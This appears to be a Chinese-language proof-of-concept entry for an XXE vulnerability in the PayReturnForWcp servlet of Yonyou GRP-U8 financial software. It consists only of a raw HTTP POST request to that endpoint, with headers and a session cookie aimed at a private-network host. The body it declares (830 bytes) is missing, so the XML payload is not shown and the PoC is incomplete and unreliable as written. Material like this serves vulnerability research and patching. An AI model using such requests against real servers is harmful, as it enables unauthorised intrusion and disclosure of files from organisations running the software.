## 用友GRP-U8-PayReturnForWcp接口存在XXE漏洞 ## poc ``` POST /servlet/PayReturnForWcp HTTP/1.1 Host: 172.16.135.132:8009 Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://172.16.135.130:8009/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=6C0DA8A7DF854722ECB4A690B53F0C00 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 830 ```